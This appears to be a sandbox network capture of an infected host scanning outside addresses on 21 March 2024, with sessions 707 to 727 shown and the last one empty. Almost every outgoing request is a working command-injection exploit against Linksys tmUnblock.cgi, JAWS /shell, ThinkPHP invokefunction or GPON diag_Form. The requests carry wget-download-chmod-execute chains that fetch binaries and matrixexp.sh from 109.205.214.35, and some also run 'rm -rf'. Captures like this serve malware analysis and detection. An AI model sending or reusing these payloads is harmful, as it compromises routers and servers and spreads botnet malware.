ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.13	34996	172.65.205.169	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:52.127790928 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.13	40578	71.19.249.39	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:52.335800886 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:52.498369932 CET	495	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:10:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.13	49386	172.65.255.109	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:52.487317085 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.13	35980	206.189.30.150	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:52.494107962 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:52.657780886 CET	190	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.13	49344	87.110.31.51	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:52.699800014 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:53.250129938 CET	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:22:53.250344992 CET	1286	IN	Data Raw: 63 31 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: c1e<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8
Mar 21, 2024 05:22:53.250633001 CET	1286	IN	Data Raw: 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 66 61 6c 73 65 20 3d 3d 20 49 73 49 50 76 36 41 64 64 72 65 73 73 55 73 68 6f 72 74 56 61 6c 69 64 28 4c 69 73 74 5b 69 5d 29 Data Ascii: i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6AddressValid(Address){ if (Address == "::") {
Mar 21, 2024 05:22:53.250669956 CET	578	IN	Data Raw: 7d 0a 65 6c 73 65 0a 7b 0a 76 61 72 20 6e 65 77 69 70 76 36 61 64 64 72 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 75 62 73 74 72 28 30 2c 6c 61 73 74 69 6e 64 65 78 29 3b 0a 76 61 72 20 6e 65 77 69 70 76 36 70 6f 72 74 20 3d 20 48 6f 73 74 49 6e 66 Data Ascii: }else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan == 0){window.location="https://[" + newipv6addr + "]:" + SSLPort;}else{window.location="https://[" + newipv6addr + "]

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.13	50402	2.17.147.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.343483925 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:53.522574902 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:53 GMT Date: Thu, 21 Mar 2024 04:22:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 37 66 39 33 31 31 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 39 37 33 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.7f931102.1710994973.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.13	49358	87.110.31.51	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.539350033 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:53.742377996 CET	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:22:53.742480993 CET	1286	IN	Data Raw: 63 31 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: c1e<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8
Mar 21, 2024 05:22:53.742547989 CET	1286	IN	Data Raw: 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 66 61 6c 73 65 20 3d 3d 20 49 73 49 50 76 36 41 64 64 72 65 73 73 55 73 68 6f 72 74 56 61 6c 69 64 28 4c 69 73 74 5b 69 5d 29 Data Ascii: i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6AddressValid(Address){ if (Address == "::") {
Mar 21, 2024 05:22:53.742559910 CET	578	IN	Data Raw: 7d 0a 65 6c 73 65 0a 7b 0a 76 61 72 20 6e 65 77 69 70 76 36 61 64 64 72 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 75 62 73 74 72 28 30 2c 6c 61 73 74 69 6e 64 65 78 29 3b 0a 76 61 72 20 6e 65 77 69 70 76 36 70 6f 72 74 20 3d 20 48 6f 73 74 49 6e 66 Data Ascii: }else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan == 0){window.location="https://[" + newipv6addr + "]:" + SSLPort;}else{window.location="https://[" + newipv6addr + "]

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.13	43248	95.86.89.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.542212963 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:57.708342075 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.13	49218	95.56.132.211	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.591361046 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:54.989999056 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:55.250916004 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Thu, 21 Mar 2024 04:22:52 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.13	43502	172.65.13.176	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.607460976 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.13	53426	118.172.70.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631213903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.13	60296	5.190.222.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631241083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.13	33078	42.6.70.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631263018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.13	33604	42.218.156.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631263971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.13	49642	5.136.47.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631264925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.13	40084	5.182.75.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631279945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.13	59662	109.155.104.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631298065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.13	40584	212.237.121.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631331921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.13	33942	118.190.156.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631331921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.13	47408	212.2.17.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631362915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.13	42748	109.179.242.125	443

Timestamp	Bytes transferred	Direction	Data
